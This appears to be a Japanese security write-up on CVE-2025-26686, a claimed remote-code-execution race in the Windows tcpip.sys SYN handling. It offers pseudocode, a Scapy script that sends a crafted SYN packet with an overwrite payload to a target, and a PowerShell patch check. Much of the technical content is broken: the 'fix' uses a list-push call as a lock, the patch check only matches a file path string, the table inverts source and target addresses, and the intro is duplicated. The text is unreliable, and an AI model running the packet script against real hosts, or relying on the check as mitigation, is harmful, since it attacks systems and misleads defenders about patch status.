
Windows TCP/IP スタックの重大な RCE 脆弱性 (CVE-2025-26686) により、機密メモリがロック解除され、リモート攻撃者がシステムを乗っ取ることが可能になります。ネットワーク経由で悪用可能であり、完全な侵害のリスクがあります。今すぐパッチを適用してください。
Windows TCP/IPスタックにおける重大なRCE脆弱性(CVE-2025-26686)は、機密メモリのロックを解除し、リモート攻撃者によるシステム乗っ取りを可能にします。ネットワーク経由で悪用可能で、完全なシステム侵害のリスクがあります。今すぐパッチを適用してください。
作者: Mark Mallia
種類: リモートコード実行(RCE)
重要度: 重大
攻撃ベクトル: ネットワークベース
影響を受けるシステム: Windows 10, 11 および Server エディション
MicrosoftのTCP/IPスタックにおいて、CVE‑2025‑26686 として特定された新たな欠陥が発見されました。これは、暗号鍵、セッションデータ、またはネットワーク構成を格納するメモリの重要な領域に対するロックが欠落していることに起因します。この領域がパケット処理中に保護されていないため、攻撃者はネットワーク経由でその情報を読み取りまたは変更し、ローカル管理者レベルのアクセスを取得できます。
Windows 10/11/Server のTCP/IPスタックは、セッションデータを保持する特定のバッファに書き込む際に、適切なスピンロックを取得しません。ロックの欠落により、2つのパケットが競合状態を引き起こし、攻撃者は本来のプロセスが書き込みを完了する前にバッファに悪意のあるコードを挿入できます。
重要ポイント:
この脆弱性は、tcpip.sys モジュール、特に着信TCPセグメントを処理するルーチンに現れます。セッションデータブロックを更新するコードパスは、メモリに書き込む前にロックを取得する必要があります。最近のWindowsリリースでは、条件分岐内でロックが省略されており、保護されていない書き込みにつながる可能性があります。
以下に最小限の再現可能な例を示します(C++風疑似コード)。
// tcpip.sys – 問題のある領域
void TcpIpHandleSegment(Packet *p)
{
// … 以前のコード …
if (p->flags & SYN_FLAG) {
/* ここでロックが欠落 */
memcpy(&sessionData, p->payload, p->len);
// … 以降のコード …
}
}
正しく保護されたバージョンでは、クリティカルセクションはインターロックスピンロックによって保護されます:
// tcpip.sys – 修正後の領域
void TcpIpHandleSegment(Packet *p)
{
// … 以前のコード …
if (p->flags & SYN_FLAG) {
_InterlockedPushEntrySList(&SessionLock, &sessionData);
memcpy(&sessionData, p->payload, p->len);
// … 以降のコード …
}
}
パッチは _InterlockedPushEntrySList への呼び出しを追加し、sessionData の更新中に排他アクセスを保証します。
この脆弱性は、SYNフラグを運ぶ着信TCPセグメントが tcpip.sys に到達したときにトリガーされます。
そのコードパスに一致させるために、以下のフィールドを設定します:
ip_layer = IP(src="10.0.0.10", dst="192.168.1.2")
tcp_layer = TCP(sport=4444, dport=80, flags="S")
# ペイロードは tcpip.sys 内の sessionData を上書きするデータを運びます。
payload = "ExploitKey" + "A"*512 # 512バイトの細工されたコンテンツ
pkt = ip_layer / tcp_layer / Raw(load=payload)
この時点でパケット構造を確認できます:
pkt.show()
出力には、IP → src, dst; TCP → sport, dport, flags; および512バイトのRawペイロードなどのフィールドが表示されます。
これは、WindowsがSYNフラグを持つ着信セグメントを処理する際に期待する正確なシーケンスです。
send(pkt)
このコマンドは、パケットをマシンから直接ターゲットホストのTCP/IPスタックに送信します。
ScapyがインストールされているLinux VMでスクリプトを実行している場合、パケットはWindowsマシンに到達し、tcpip.sys 内のコードパスをトリガーします。
攻撃者が暗号鍵やセッション構成を含むメモリを変更できるため、この欠陥は以下を可能にします:
システム内のロックの有無を確認するためのクイックチェックスクリプト:
# インターロックエントリが tcpip.sys に存在することを確認
Get-ChildItem -Path C:\Windows\System32\tcpip.sys |
Select-Object Name, @{Name='PatchPresent';Expression={
$_.FullName -match '_InterlockedPushEntrySList' } }
PatchPresent が $True を返す場合、緩和策が適用されています。
CVE-2025-26686 は単なる脆弱性データベースの一行ではありません。警鐘です。TCP/IPスタックのような基本コンポーネントが侵害されると、その影響はネットワーク全体や業界全体に波及する可能性があります。この欠陥は、最も信頼されているシステムでさえも常に精査と注意を必要とすることを私たちに思い出させます。エンジニアや防御者として、私たちの責任はこれらの脆弱性を理解するだけでなく、誠実に行動することです。ここで共有された情報は、防御を強化し、責任あるパッチ適用を促し、組織がユーザーを保護できるように支援するための倫理的な使用のみを目的としています。
| レイヤー | フィールド | CVE‑2025‑26686 での典型的な値 |
|---|
| IP | src | ターゲットホストのIPアドレス (例: 10.0.0.10) |
| dst | 攻撃者のIP (例: 192.168.1.2) | |
| TCP | sport | 攻撃者のポート (例: 4444) |
| dport | ターゲットサービスの待受ポート (例: HTTP用80) | |
| flags | TcpIpHandleSegment 内の分岐に到達するための "S" (SYN) |